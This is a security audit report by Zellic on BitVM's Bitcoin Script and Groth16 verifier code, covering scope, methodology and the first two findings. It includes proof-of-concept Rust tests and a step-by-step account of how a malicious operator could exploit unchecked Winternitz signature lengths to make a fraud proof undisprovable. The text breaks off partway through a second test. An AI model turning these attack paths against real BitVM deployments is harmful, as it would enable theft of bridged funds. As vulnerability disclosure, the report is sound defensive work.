Zellic

Prepared for
Robin Linus
ZeroSync

Prepared by
Malte Leip
Daniel Lu
Mohit Sharma
Avraham Weinstock
Mark Pedron
Zellic

August 20, 2025

BitVM

Bitcoin Script Security Assessment

Contents

About Zellic **6**

1. Overview **6**

1.1. Executive Summary 7

1.2. Goals of the Assessment 7

1.3. Non-goals and Limitations 8

1.4. Results 8

2. Introduction **9**

2.1. About BitVM 10

2.2. Methodology 10

2.3. Scope 12

2.4. Project Overview 13

2.5. Project Timeline 15

3. Detailed Findings **15**

3.1. Winternitz signature verifiers accept signatures with unintended preimage lengths 16

3.2. Input hint types not validated 25

3.3. Result hint types not validated 30

3.4. Computational hint types not validated 34

3.5. Ops-script output types not validated before hashing 43

3.6. Usage of point types with malformed values 45

3.7. Function `limb_add_with_carry_prevent_overflow` behaves incorrectly if the first summand is `head_offset/2` 54

3.8. Function `add_ref` deals incorrectly with the potential of signed overflows and underflows 60

3.9. Function `limb_double_with_carry_prevent_overflow` behaves incorrectly in two cases 64

3.10. Bigint's `from_bytes` method permits values larger than `1 << N_BITS` 67

3.11. Insufficient validation of number of generated segments 70

3.12. Incomplete handling of G1 point addition 72

3.13. Impossible to generate valid proof for certain public input 74

3.14. Winternitz key expansion only secure up to length 256 75

3.15. The `init_table` script in `tmul` does not check for overflow on doubling 78

3.16. Inconsistent conversion of `Vec<u8>` and `Witness` to `StructuredScript` 82

3.17. Result depends on computational hint in line-function evaluation 87

3.18. Accumulated value, `is_valid_input`, and hints returned by `chunk_msm` are incorrect for public inputs of mixed validity 88

3.19. MSM segments drop too many elements on invalid input if `NUM_PUBS > 1` 91

3.20. Winternitz signature `Witness` invalid as SegWit witness for some eight-bit digits 93

3.21. Additional drops and `OP_TRUE` in `generate_taproot_leaf_script` for `ConnectorE` 96

3.22. Window size of `1` leads to incorrect results for `tmul` 99

3.23. Possible failures of `tmul` if the number of summands is not a power of two 103

3.24. Improper detection of invalid input to E' addition 109

3.25. Differing Bitcoin script and Rust function return value 112

3.26. Missing check that stack is empty when placing lookup tables for hash computation 115

3.27. Blake3 script incorrect for more than 1,024 bytes of input or more than 32 bytes of output 117

3.28. Insufficient validation of generated hints 119

3.29. Function `hinted_mul_keep_elements` in `Fq6` expects arguments on top of stack 121

3.30. Function `winternitz_message_checksig_verify` in `signatures` can be incorrect if the message size mismatches 123

3.31. Assumptions about bigint parameters throughout implementation 125

3.32. Incorrect behavior of `limb_to_*` functions if `num_bits <= 1` 127

3.33. Hardcoded limb size in `double_allow_overflow_keep_element` 130

3.34. Silent truncation of input int by `push_u32_le` 132

3.35. Incorrect range for powers of 2 in `limb_shr1_carry` 134

3.36. Usage of incorrect type in `tmul` could cause failure in some configurations 136

3.37. The `tmul` script is unable to handle small negative results 138

3.38. Leftover values on altstack in `utils_fq12_square` 142

3.39. MSM chunk-count formula incorrect 144

3.40. Verifier `BinarysearchVerifier` for Winternitz signatures accepts malformed signatures 146

3.41. Incorrect hint type for `tmul_lc2_w4` wrappers 151

3.42. Usage of script-generating functions of incorrect types 154

3.43. Avoidable access of mock results 156

3.44. Inconsistent stack-reference semantics 158

3.45. Functions specific for `Fq` implemented in the `Fp254Impl` trait 160

3.46. Unreachable code branch in `tonelli_shanks_cubic` 161

3.47. Incorrect log asserts in `compute_c_wi` 163

3.48. Redundant sign checks in `F254Impl::is_field` 165

3.49. Arithmetic overflow possible in edge case when negating hint for `tmul` 167

3.50. The function `Fq2::hinted_frobenius_map` could avoid an expensive `tmul` 169

3.51. Redundant check in `G1Affine::hinted_from_eval_point` 171

3.52. Redundant table pushes for BLAKE3 172

3.53. The bigint multiplication can be optimized 173

3.54. The bigint copying can be optimized 175

3.55. U4 addition tables can be optimized 177

4. Discussion 179

4.1. Winternitz one-time signatures 180

4.2. Properties of `hash160` needed for Winternitz signatures 181

4.3. Witness length 184

4.4. Incomplete documentation 185

4.5. Test suite 188

4.6. Simplifications and other style suggestions 189

4.7. Malformed verifying keys 195

4.8. Use easily explainable values when encountering freedom of choice 196

5. System Design 196

5.1. Setup 197

5.2. Segmented validation of a Groth16 proof 198

5.3. Functionality of audited code 199

5.4. Tapscript structure 200

6. Assessment Results 203

6.1. Opinion summary 204

6.2. Disclaimer 205

About Zellic

Zellic is a vulnerability research firm with deep expertise in blockchain security. We specialize in EVM, Move (Aptos and Sui), and Solana as well as Cairo, NEAR, and Cosmos. We review L1s and L2s, cross-chain protocols, wallets and applied cryptography, zero-knowledge circuits, web applications, and more.

Prior to Zellic, we founded the #1 CTF (competitive hacking) team worldwide in 2020, 2021, and 2023. Our engineers bring a rich set of skills and backgrounds, including cryptography, web security, mobile security, low-level exploitation, and finance. Our background in traditional information security and competitive hacking has enabled us to consistently discover hidden vulnerabilities and develop novel security research, earning us the reputation as the go-to security firm for teams whose rate of innovation outpaces the existing security landscape.

For more on Zellic's ongoing security research initiatives, check out our website zellic.io and follow @zellic_io on Twitter. If you are interested in partnering with Zellic, contact us at hello@zellic.io.

1. Overview

1.1. Executive Summary

Zellic conducted a security assessment for ZeroSync from May 9th to August 11th, 2025. The engagement was carried out in two phases, with dedicated teams focusing on different portions of the codebase. Details of this division are provided in the scope (Section 2.3). During this engagement, Zellic reviewed BitVM's code for security vulnerabilities, design issues, and general weaknesses in security posture.

Phase 1 Team

- Avraham Weinstock
- Daniel Lu

Phase 2 Team

- Malte Leip
- Mark Pedron
- Mohit Sharma
- Avraham Weinstock

1.2. Goals of the Assessment

In a security assessment, goals are framed in terms of questions that we wish to answer. These questions are agreed upon through close communication between Zellic and the client. In this assessment, we sought to answer the following questions:

- Does the code allow the operator to generate signatures for a valid Groth16 proof?
- Is a challenger able to successfully execute the generated tapscripts even if the operator only published the generated signatures?
- If the operator publishes valid signatures that do not belong to a valid Groth16 proof, does the code generate a witness that allows the challenger to successfully execute one of the generated tapscripts?

See section 5. ↗ for details on the terminology.

Due to the optimistic proof validation, the generated tapscripts should validate whether the witness disproves the operator's assertions. We will use the term "soundness" to refer to the property of the tapscripts to fail if the witness does not disprove the operator's assertion and "completeness" for the possibility to generate a witness to successfully execute a tapscript in case the operator published signatures for an invalid Groth16 proof.

As the majority of the code in scope is tightly intertwined with the top-level design as described in section 5. ↗, we audited the code in the context of this specific usage. For some lower-level generic functionality (for example, the bigint implementation), wider usage is plausible. For those cases, we also report and analyze some findings from the perspective of the code's potential wider use, both in further development within this project and in other projects.

1.3. Non-goals and Limitations

We did not assess the following areas that were outside the scope of this engagement:

- Front-end components
- Infrastructure relating to the project
- Key custody
- Generation and validation of the verifying key for the circuit
- Protocol mechanisms enforcing that the challenged operator publishes valid signatures for U256 values for all tapscript segments
- All autogenerated files, tests, and mocks in all components

We also did not assess whether the required Bitcoin transactions may be rejected due to the size of the tapscripts or whether the execution of the tapscripts is prohibited by limits on the stack and altstack size.

Moreover, code related to Winternitz signatures was audited under the assumption that parameters were generated using `Parameters::new` and thus satisfy the conditions and relationships established by this function.

Some findings concern issues present in multiple places in the codebase. In such cases, we usually give a detailed description of the general issue as well as a concrete description of the specific impact of one instance of the problem. We also strive to list all instances that we came across, but we cannot guarantee that such lists are exhaustive.

Many smaller components of the in-scope codebase are intertwined with the wider context in which they are used. Generally, we audited components in the context of the design described in section 5. ↗. As described in Discussion point 4.4. ↗, many public functions lack documentation to be checked against. Due to this lack of documentation, code outside of the scope of this audit is likely to use the audited functions in ways we did not foresee.

In addition, due to the time-boxed nature of security assessments in general, there are limitations in the coverage an assessment can provide.

1.4. Results

During our assessment on the scoped BitVM targets, we discovered 55 findings. Four critical issues were found. Five were of high impact, eight were of medium impact, 16 were of low impact, and the remaining findings were informational in nature.

To ensure the security and reliability of the codebase, we strongly recommend performing a comprehensive reaudit, particularly of the bn254/{g1,g2,ell_coeffs,msm}.rs and chunk/* components, once development is complete and prior to production.

During our review, we found that several issues arose from missing or inconsistent handling of type assumptions in both Bitcoin Script and Rust, as well as from the absence of a clear approach to managing invalid or unexpected input.

While significant progress has been made in addressing individual findings, the current remediation efforts suggest that some underlying conceptual issues remain unresolved. We discuss this further in our opinion summary (see Section 6.1. ↗).

Additionally, Zellic recorded its notes and observations from the assessment for the benefit of ZeroSync in the Discussion section (4. ↗).

Breakdown of Finding Impacts

Impact Level	Count
Critical	4
High	5
Medium	8
Low	16
Informational	22

2. Introduction

2.1. About BitVM

ZeroSync contributed the following description of BitVM:

> BitVM is a cryptographic design that enables optimistic computation of arbitrary programs using bitcoin script. It is used specifically for bridges targeting bitcoin as a base layer.

2.2. Methodology

During a security assessment, Zellic works through standard phases of security auditing, including both automated testing and manual review. These processes can vary significantly per engagement, but the majority of the time is spent on a thorough manual review of the entire scope.

Alongside a variety of tools and analyzers used on an as-needed basis, Zellic focuses primarily on the following classes of security and reliability issues:

Protocol design. For novel/nonstandard protocols, we investigate the core design for potential flaws. This does not, however, apply to implementations of established protocols and algorithms. For example, when auditing a library for Yao's garbled circuits, we would not spend time on the garbling scheme itself. On the other hand, the white paper for a novel protocol would be very much considered in scope and examined thoroughly.

Applied cryptography. Zellic has a dedicated team of strong theoretical and applied cryptographers. Implementing cryptographic applications securely, like Web3 wallets, is incredibly difficult, and we help clients navigate a minefield of potential pitfalls and mistakes. We have ensured secure implementation of noncustodial wallets, ERC-4337 (AA), MPC, Shamir's secret sharing (SSS), EOAs, native multi-sig support, enclave solutions, social log-in, and key recovery, among other technologies.

Cryptographic components. We manually review the cryptography usage of the project and examine the relevant studies and standards for any inconsistencies or vulnerabilities. We ensure all of the cryptographic primitives used in the project are used and configured correctly.

Basic coding mistakes. Many critical vulnerabilities in the past have been caused by simple, surface-level mistakes that could have easily been caught ahead of time by code review. For cryptographic applications, this includes insufficient checks on the inputs, incorrect handling of edge cases, and completeness issues in low-level arithmetic operations.

Code maturity. We look for potential improvements in the codebase in general. We look for violations of industry best practices and guidelines and code quality standards. We also provide suggestions for possible optimizations, such as gas optimization, upgradability weaknesses, centralization risks, and so on.

For each finding, Zellic assigns it an impact rating based on its severity and likelihood. There is no

hard-and-fast formula for calculating a finding's impact. Instead, we assign it on a case-by-case basis based on our judgment and experience. Both the severity and likelihood of an issue affect its impact. For instance, a highly severe issue's impact may be attenuated by a low likelihood. We assign the following impact ratings (ordered by importance): Critical, High, Medium, Low, and Informational.

Zellic organizes its reports such that the most important findings come first in the document, rather than being strictly ordered on impact alone. Thus, we may sometimes emphasize an "Informational" finding higher than a "Low" finding. The key distinction is that although certain findings may have the same impact rating, their *importance* may differ. This varies based on various soft factors, like our clients' threat models, their business needs, and so on. We aim to provide useful and actionable advice to our partners considering their long-term goals, rather than a simple list of security issues at present.

Finally, Zellic provides a list of miscellaneous observations that do not have security impact or are not directly related to the scoped targets itself. These observations — found in the Discussion (4. ↗) section of the document — may include suggestions for improving the codebase, or general recommendations, but do not necessarily convey that we suggest a code change.

2.3. Scope

The engagement involved a review of the following targets:

BitVM Targets

Type	Rust
Platform	Bitcoin

Target	Scope Phase 1
Repository	https://github.com/BitVM/BitVM ↗
Version	`d3ee6062650448aef774966e82807d160b56a660`
Programs	`bigint/*.rs` `u4/*.rs`

Target	Scope Phase 1
Repository	https://github.com/BitVM/rust-bitcoin-script ↗
Version	`519088c7e5e89769910dabcb1b663fa48a21a645`
Programs	`macro/src/*.rs` `src/*.rs`

Target	Scope Phase 2
Repository	https://github.com/BitVM/BitVM ↗
Version	`b822f19e255f70e3c17278c5e183aba785e0709a`

Programs	`bn254/ell_coeffs.rs`
	`bn254/fp254impl.rs`
	`bn254/fq.rs`
	`bn254/fq2.rs`
	`bn254/fq6.rs`
	`bn254/fq12.rs`
	`bn254/fr.rs`
	`bn254/g1.rs`
	`bn254/g2.rs`
	`bn254/mod.rs`
	`bn254/msm.rs`
	`bn254/utils.rs`
	`chunk/*.rs`
	`groth16/offchain_checker.rs`
	`hash/blake3*.rs`
	`signatures/*.rs`

2.4. Project Overview

Zellic was contracted to perform a security assessment for a total of 16.3 person-weeks. The assessment was conducted by five consultants over the course of 14 calendar weeks.

Contact Information

The following project managers were associated with the engagement:

Jacob Goreski
Engagement Manager
jacob@zellic.io

Chad McDonald
Engagement Manager
chad@zellic.io

The following consultants were engaged to conduct the assessment:

Malte Leip
Engineer
malte@zellic.io

Daniel Lu
Engineer
daniel@zellic.io

Mark Pedron
Engineer
mark.pedron@zellic.io

Mohit Sharma
Engineer
mohit@zellic.io

Avraham Weinstock
Engineer
avi@zellic.io

2.5. Project Timeline

The key dates of the engagement are detailed below.

May 9, 2025	Kick-off call
May 9, 2025	Start of review period for Phase 1
May 23, 2025	End of review period for Phase 1
May 30, 2025	Start of review period for Phase 2
August 11, 2025	End of review period for Phase 2

3. Detailed Findings

3.1. Winternitz signature verifiers accept signatures with unintended preimage lengths

Target	Winternitz verifiers		
Category	Completeness	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

This finding relates to the verifiers for Witnernitz signatures, of which the code in scope has three: `BruteforceVerifier`, `ListpickVerifier`, and `BinarysearchVerifier`. All three exhibit the vulnerable behavior.

Discussion section 4.1. ↗ introduces Witnernitz signatures and fixes notation. We will assume the reader is familiar with the description provided there and will follow that notation.

Recall that verification of a Winternitz signature consists of two steps: 1) verifying the digit-wise signature, and then 2) checking the checksum. This finding focuses on the first of these two steps, which is carried out by the function `verify_digits` that all three verifiers implement. This function is passed parameters for the signature scheme (encoding for example the message length and the maximum digit value d) and a public key $(y_0, \ldots, y_{n-1})$ and returns a script that carries out digit-wise verification for this specific public key. In the case of `BruteforceVerifier`, only a signature $(\sigma_0, \ldots, \sigma_{n-1})$ is expected on the stack, with the signed digits $(s_0, \ldots, s_{n-1})$ being brute-forced, while `ListpickVerifier` and `BinarysearchVerifier` expect the stack to also contain the claimed signed digits, in the order $\left(\sigma_0, s'_0 \ldots, \sigma_{n-1}, s'_{n-1}\right)$.

While the precise implementation varies, all three scripts will either fail or leave $(s_0, \ldots, s_{n-1})$ on the stack so that $\texttt{hash160}^{(d-s_i)}(\sigma_i) = y_i$. The `BruteforceVerifier` tries every value in range for s_i. Instead, `ListpickVerifier` and `BinarysearchVerifier` try only a value derived from s'_i, which is not necessarily s'_i itself, as for example in the case of `ListpickVerifier`, the case of the input s'_i being negative (and thus outside of the valid range from 0 to d) is handled by replacing the value by 0.

Finding 3.40. ↗ discusses handling of out-of-range claimed digits in the case of `BinarysearchVerifier`, but for this finding, we will assume that such issues are fixed and all three verifiers' `verify_digits` function only return values s_i with $0 \leq s_i \leq d$. Then on success, we know that $\texttt{hash160}^{(d-s_i)}(\sigma_i) = y_i$ and $0 \leq s_i \leq d$.

While this means that each s_i is a well-formed in-range digit, this does not mean however that σ_i was of the correct type. Signature components should be byte vectors of length 20, but the length requirement is not verified by the `verify_digit` scripts. They all apply `OP_HASH160` a total of $d - s_i$ times to the stack element σ_i before checking against y_i, and `OP_HASH160` allows any stack element as input. Thus, only in the case of $s_i = d$ is the requirement that σ_i has length 20 enforced, as in that case $\sigma_i = y_i$.

The following test shows that malformed oversize signatures are accepted by the `ListpickVerifier`:

```
#[test]
fn zellic_test_large_preimage_listpick() {
    const PREIMAGE_LEN : usize = 520;
    const W : Winternitz<ListpickVerifier, VoidConverter> = Winternitz::new();
    let digit_bit_width : u32 = 4;
    let n0 : u32 = 2;
    let message_bits = n0*digit_bit_width;
    let ps = Parameters::new_by_bit_length(message_bits, digit_bit_width);
    let d : u32 = ps.max_digit();
    let n : u32 = ps.total_digit_len();
    println!("Message length: {}, with checksum: {}", n0, n);

    let message : [u32; 2] = [1,2];
    let message_with_checksum = add_message_checksum(&ps, message.to_vec());

    let mut preimage_digit = Vec::<u8>::new();
    for _ in 0..PREIMAGE_LEN {
        preimage_digit.push(0)
    }
    let mut preimages : Vec<Vec<u8>> = Vec::new();
    for _ in 0..message_with_checksum.len() {
        preimages.push(preimage_digit.clone());
    }
    // Create public key so that the preimages will be the signature.
    let mut pubkey : Vec<[u8; 20]> = Vec::new();
    assert!(preimages.len() == message_with_checksum.len());
    for i in 0..preimages.len() {
        let mut h = preimages[i].clone();
        for _ in 0..(d-message_with_checksum[i]) {
            h = hash160::Hash::hash(&h).as_byte_array().to_vec();
        }
        assert!(h.len() == 20);
        pubkey.push(h.try_into().unwrap());
    }

    let check_script = script! {
        { W.checksig_verify(&ps, &pubkey) }
    };

    let witness_script = script! {
        for i in 0..preimages.len() {
            { preimages[i].clone() }
            { message_with_checksum[i] }
        }
```

```
    };

    println!("Length of witness script: {}", witness_script.len());
    println!("Length of verification script: {}", check_script.len());

    let scr = script! {
        { witness_script }
        { check_script }
        for i in 0..message.len() {
            { message[message.len() - 1 - i] }
            OP_EQUALVERIFY
        }
        OP_TRUE
    };

    run(scr);

}
```

In this case, the number of digits will be five, and with `PREIMAGE_LEN`, the number of bytes of the signature components can be chosen. The output will be the following for `PREIMAGE_LEN = 20`,

```
Length of witness script: 110
Length of verification script: 351
```

for `PREIMAGE_LEN = 500`,

```
Length of witness script: 2520
Length of verification script: 351
```

and for `PREIMAGE_LEN = 520`:

```
Message length: 2, with checksum: 5
Length of witness script: 2620
Length of verification script: 351
```

This matches expectation; from `PREIMAGE_LEN = 500` to `PREIMAGE_LEN = 520`, the witness should increase in size by 20 bytes for each of five digits, increasing the total size by 100 bytes, which is what we observe. From `PREIMAGE_LEN = 20` to `PREIMAGE_LEN = 520`, this calculation would predict an increase by $500 \cdot 5 = 2500$ bytes, while we observe an increase of 2,510 bytes. The discrepancy is due to each push of 520 bytes of data needing instructions that take two bytes extra compared to pushing just 20 bytes (there is no one-byte instruction for pushing 520 bytes, so the length 520 itself also needs to be serialized, taking two bytes).

Impact

Only the signer can exploit this. Suppose the signer already knows at the time of key generation which message (including checksum) $(s_0, \ldots, s_{n-1})$ they will want to sign later.

Usually, the signer would generate a key by choosing a secret seed u and then expand this seed into a digit-wise secret key $(x_0, \ldots, x_{n-1})$ with $x_i = \texttt{hash160}\,(u \| [i])$ (see Finding 3.14. ↗ for a discussion of a quirk of the particular way used to generate x_i from u and i in the code). From this secret key, the public key is computed as $(y_0, \ldots, y_{n-1})$ with $y_i = \texttt{hash160}^{(d)}\,(x_i)$. The signer can then later sign s_i as $\sigma_i = \texttt{hash160}^{(s_i)}\,(x_i)$. Note that if the signer computes σ_i this way, it will necessarily be a byte vector of length 20.

What a signer — that knows which s_i they will later want to sign up front — can do, however, is to choose arbitrary byte vectors $sigma_i$ and then compute the public key as $y_i = \texttt{hash160}^{(d-s_i)}\,(\sigma_i)$. Note that as long as the signer chooses σ_i to be of length 20, whenever $s_i = d$, the public key alone will be indistinguishable from a public key generated the usual way.

The missing check for σ_i to be of length 20 in the verifier scripts imply that these scripts will all accept such signatures, no matter the length of σ_i. The only immediate limit in practice will be that the length can be at most 520, as Bitcoin script does not support stack elements exceeding 520 bytes.

In the context of BitVM, the operator signs assertions about all the intermediate values of the Groth16 proof verification. The operator first publishes a transaction with the signatures, which are checked to be valid using the `ListpickVerifier` (see `ConnectorE::generate_taproot_leaf_script` in bridge/src/connectors/connector_e.rs). Concretely, the operator needs to provide a witness that will make the `winternitz_message_checksig_verify` script succeed, which in turn uses the `ListpickVerifier::verify_digits` to check the digit-wise signature. For the code the operator uses to generate these witnesses, a starting point is `PegOutGraph::assert_commits` in bridge/src/graphs/peg_out.rs.

Later, if a challenger wishes to disprove an assertion by the operator, they need to provide a witness that makes the relevant disprove tapscript succeed. The signatures for input and result assertions of the relevant segment need to be provided by the challenger as a witness, with the script verifying the signatures using the `BruteforceVerifier` (the corresponding public keys are baked into the scripts).

As the current code for the honest operator produces signatures where each component has length 20, the scenarios to consider for an impact of the acceptance of malformed signatures of different sizes must involve a malicious operator, where the malformed signature prevents the challenger from disproving the operator.

For this, we can first point out that the code for the challenger has in many places baked in the assumption that the signature components will be of length 20, including types for digit signatures being arrays of fixed length 20:

```
type CompactSignature = [[u8; 20]; Self::TOTAL_DIGIT_LEN as usize];
```

A malicious operator can of course utilize a modified codebase for their attack in which they publish witnesses for their Assert transactions that include signatures of incorrect lengths. The current codebase not supporting this would not in itself prevent the challenger from disproving the operator, as the code can be patched locally, but it would make it significantly more cumbersome. The challenger will notice that the Groth16 proof claimed by the operator is incorrect, but the program that is supposed to then generate a disproof transaction fails (perhaps due to a panic or to errors about a signature being incorrect). To disprove, they will then need to debug these issues and make substantial changes to the code to be able to generate the required disproof transaction, and this work will need to be completed before the timelock expires. Apart from having to change various signature-related code that operates with array types of length 20 and similar, they might also hit obstacles such that there currently (as of the time of writing) is no easy way to produce a push of the byte vector `[128]` with the `script!` due to Finding 3.16. ↗.

However, there is a more serious mechanism with which the operator can prevent the challenger from disproving them also in principle, with local code changes by the challenger not allowing circumvention of the issue. This is the Bitcoin consensus limit for the maximum block weight:

```
/** The maximum allowed weight for a block, see BIP 141 (network rule) */
static const unsigned int MAX_BLOCK_WEIGHT = 4000000;
```

While there are some other contributors counting towards the block weight, what is important for this finding is that the block weight is bigger than the sum of the executed script length in bytes and the size in bytes of the witness. Thus, should an operator manage to create malformed signatures of greater size than expected — so that for the segment in which they assert an incorrect result, the size of the script plus the size of the required witness (which includes the malformed signatures) will exceed the maximum block weight — then this segment will never be disprovable under current consensus rules.

The concrete segment that the malicious operator could target is segment 372, at tapindex 357. In the function `groth16_generate_segments` in bitvm/src/chunk/g16_runner_core.rs, which generates all the segments, this segment is generated by this snippet:

```
t4 = wrap_chunk_point_ops_and_multiply_line_evals_step_1(
    skip_evaluation,
    all_output_hints.len(),
    false,
    Some(true),
    Some(1),
    &t4,
    &p4,
    Some(gq4.to_vec()),
    &p3,
    t3,
    Some(pubs.q3),
    &p2,
    t2,
    Some(pubs.q2),
);
```

```
push_compare_or_return!(t4);
```

This segment carries out a crucial step in the computation of the pairing for the Groth16 proof verification. If the operator can manipulate the result of this segment, they can fake the result of the pairing computation. Thus, an operator could then claim a Groth16 proof that is well-formed (as in, for example, the given values are indeed points on the relevant curves) but incorrect for the given public input. If the operator asserts the correct intermediate values for all previous segments so that they are not disprovable, and this particular segment 372 is not disprovable for other reasons, they can choose an incorrect result for it that will make the remaining segments also not disprovable.

This particular segment is very close to the block weight limit using legitimately sized signatures. We can check this using the test `test_fn_disprove_invalid_assertions` in bitvm/src/chunk/api.rs. This test already contains logic to check the total length of the witness and tapscript for each segment, so we can add a printout to this:[1]

```
println!("taproot index {:?}", index);
let scr = hint_script
    .clone()
    .push_script(verifier_scripts[index].clone());
 println!("ZELLIC: script length (hint + verifier): {}", scr.len());
assert!(scr.len() < 4_000_000 - RESERVED_SPACE);
```

Note that instead of computing the size of a SegWit witness, this uses the size of the corresponding script that pushes the witness. This introduces a small inaccuracy that, for the purposes of this finding, are too minor to play a role.

The output of this test shows a total size for this segment of 3953286.

The segment under discussion is constructed by `wrap_chunk_point_ops_and_multiply_line_evals_step_1` in bitvm/src/chunk/g16_runner_utils.rs, with `is_dbl = false`. In this case, the segment will have four field-element inputs and four hashed inputs as well as a hashed result:

```
pub(crate) fn wrap_chunk_point_ops_and_multiply_line_evals_step_1(
    skip: bool,
    segment_id: usize,
    is_dbl: bool,
    is_frob: Option<bool>,
    ate_bit: Option<i8>,
    in_t4: &Segment,
    in_p4: &Segment,
    in_q4: Option<Vec<Segment>>,
```

[1] The number subtracted in the assert accounts for a small amount of space that is reserved for purposes other than the witness and script, but this number is small enough that it does not significantly alter the conclusion of this finding.

```
    in_p3: &Segment,
    t3: ark_bn254::G2Affine,
    q3: Option<ark_bn254::G2Affine>,
    in_p2: &Segment,
    t2: ark_bn254::G2Affine,
    q2: Option<ark_bn254::G2Affine>,
) -> Segment {
    let mut input_segment_info: Vec<(SegmentID, ElementType)> = vec![
        (in_p2.id, ElementType::G1),
        (in_p3.id, ElementType::G1),
        (in_p4.id, ElementType::G1),
        (in_t4.id, ElementType::G2EvalPoint),
    ];

    // ...

    if !is_dbl {
        let in_q4 = in_q4.unwrap();
        for v in in_q4.iter().rev() {
            input_segment_info.push((v.id, ElementType::FieldElem))
        }

        // ...

    }

    // ...

    Segment {
        id: segment_id as u32,
        is_valid_input,
        parameter_ids: input_segment_info,
        result: (DataType::G2EvalData(dbladd), ElementType::G2Eval),
        hints: op_hints,
        scr_type: ScriptType::MillerPointOpsStep1(is_dbl, ate_bit, is_frob),
        scr: scr.compile(),
    }
}
```

This means that the witness for this segment needs to include nine signatures, four of which (the field elements) for 32-byte messages and five of which for 16-byte messages. The number of message digits n_0 is twice the number of bytes (as we use $d = 15$, so the digits are nibbles), and the corresponding total length n that is signed (so the message digits and checksum digits together) is 68 and 36, respectively. The total number of digit signatures required in the witness is thus $4 \cdot 68 + 5 \cdot 36 = 452$.

The malicious operator can increase the witness size of each signed digit that is not already d by

500 bytes (from 20 bytes to the maximum of 520 bytes). To surpass the block weight limit of 4000000, given the existing total size of 3953286, it suffices if the malicious operator uses malformed maximum-size digit signatures for about $\left\lceil \frac{4000000-3953286}{500} \right\rceil = 94$ digit signatures. Given that 452 are available to choose from and the probability of each not being usable due to having been $d = 15$ is only $\frac{1}{16}$, this is easily achievable.

If the malicious operator only increases the size of some signature components as mentioned but makes no other changes to the signatures, this attack might fail if the transaction in which the operator needs to provide the signatures themselves already has an even larger size than the mentioned segment, leading to the operator being unable to succeed in committing to enough oversize signature digits.

Note that while we have not been able to test this directly, this appears very unlikely. In particular, the current code appears to split this into two transactions, one for the first 300 signatures and one for the remaining signatures. As the total number is less than 400, and the targeted segment is segment 372 > 300, with at least one input also coming from a segment with an index greater than 300, this means that the operator can also split their excessive witness length between the two transactions, allocating about $\frac{15}{16} \cdot 2 \cdot 36 = 67.5$ to the second (in practice, with some brute-force, the malicious operator will be able to get a couple extra digits), emptier transaction and only the remaining about 26.5 oversize digits to the first transaction. Note that we also did not take into account reserved block space and some other overhead in blocks, which will reduce the number needed, so in practice, even less than 26 large digit signatures will be needed in the first Assert transaction.

However, the malicious operator is not even reliant on the first Assert transaction fitting, say, $26 \cdot 502 = 13052$ extra bytes for the larger signature components. They are also free to change other signatures' components that are not used in the attacked segment to be *smaller*. In particular, they replace those signature components by empty byte vectors, saving 20 bytes each. The first Assert transaction has more than $300 \cdot 36 - 26 = 10774$ signature components available. As each of those can be used to save a full 20 bytes, only a small portion is actually needed to make sufficient space. Thus, the malicious operator will always be able to carry out the described attack.

Recommendations

The Witnernitz signature verifier scripts should use `OP_SIZE` to check the size of the claimed signature components and fail if that size is different from 20.

More generally, we recommend considering how to best ensure the block weight limit is not exceeded by disproves. As pointed out above, tests like

```
assert!(scr.len() < 4_000_000 - RESERVED_SPACE);
```

may not be fully accurate due to, for example, the discrepancy between SegWit witness serialization and corresponding scripts, because there is some ancillary data associated to a transaction that is not counted here and because tests may not catch the maximum-size witness that the operator can enforce.

To expand on the last point, we note that this finding is one example caused by a vulnerability in the

signature-verification scripts. However, many other script parts utilize computational hints conditionally. While in some cases, the "generic" input will consume a hint and only an edge case (such as one elliptic point during addition being zero), it cannot be ruled out that any particular test only tests with inputs that result in a number of hints below the maximum, while an adversarial operator might choose very specific values for their assertions that cause a particular script to consume an unusually high number of computational hints. We thus recommend to consider whether there are other methods that could be used to better estimate the maximum size that might occur.

Another upshot is that as a mitigation, it might be good to leave a bigger safety buffer in terms of block size for the larger segments, to make exploitation of issues such as these more difficult. For example, note that the segment we targeted for the impact of this finding allows increasing the witness size only by (slightly more than) $452 \cdot 500 = 2260000$. We have not checked whether this segment has the maximum number of signed digits in input and result, but it appears plausible that, for example, striving to keep every segment under 3000000 for tested witness plus script size would have prevented the described exploit of this finding.

Note that in our audit, we did not attempt to verify that all segments are indeed below the limit.

Remediation

This issue has been acknowledged by ZeroSync, and a fix was implemented in commit `d89da2e6` ↗.

3.2. Input hint types not validated

Target	Any segment using input hints		
Category	Soundness	**Severity**	Critical
Likelihood	High	**Impact**	Critical

Description

Some tapscript types validate a computation that uses the results of previous segments as inputs. The operator signs assertions for the hashes of these values. The challenger must supply input values for the computation in the witness. The tapscript first executes the computation in the ops script on the supplied inputs. Then the hash-script part of the tapscript checks whether the supplied input values hash to the signed assertions.

Because the ops script is executed first before validating the input values, the ops script must execute in a predictable way for arbitrary inputs. The stack content after the execution of the ops script must hold values such that if the stack values intepreted as input values by the hash script hash to the asserted values, the stack values interpreted as result values by the hash script must be the correct result for the computation.

We found that the arithmetic operations in the ops script assume their inputs to be well-formed values of a specific arithmetic type. In all cases, they are expected to be at least well-formed U256 bigints. Depending on the input, they are additionally expected to be reduced elements of `Fq` or `Fr`. This assumption is not validated before the ops script. A malicious challenger can supply malformed input hints, making the ops-script evaluation result in unexpected output.

Demonstration

When combined with Finding 3.5. ↗, the hash script fails to detect the malformed input hints. A malicious challenger can supply a malformed input hint with the same hash as the correct input. If this malformed input behaves differently from the correct one under arithmetic operations, the result will not match the signed assertion and the tapscript will erroneously succeed.

Here is an example for the first FoldedFp12Multiply tapscript. The test uses random inputs, with the first factor restricted to be in `Fq2`. This eases the demonstration as we have a specific limb that can be manipulated while preserving the computed hash.

```
#[test]
fn zellic_missing_input_type_check() {
    const TRIES : u64 = 10;
    let mut success = 0;
    for i in 0..TRIES {
```

```
        let mut prng = ChaCha20Rng::seed_from_u64(i);
        let input_a0 = ark_bn254::Fq2::rand(&mut prng);
        // Operator assertions
        let input_a = DataType::Fp6Data(
            ark_bn254::Fq6::new(
                input_a0,
                ark_bn254::Fq2::from(0),
                ark_bn254::Fq2::from(0),
            )
        );
        let input_segment_a = Segment {
            id: 0,
            is_valid_input: true,
            parameter_ids: vec![],
            result: (input_a, ElementType::Fp6),
            hints: vec![],
            scr_type: ScriptType::NonDeterministic,
            scr: script!{}.compile()
        };
        let input_b = DataType::Fp6Data(
            ark_bn254::Fq6::rand(&mut prng)
        );
        let input_segment_b = Segment {
            id: 1,
            is_valid_input: true,
            parameter_ids: vec![],
            result: (input_b, ElementType::Fp6),
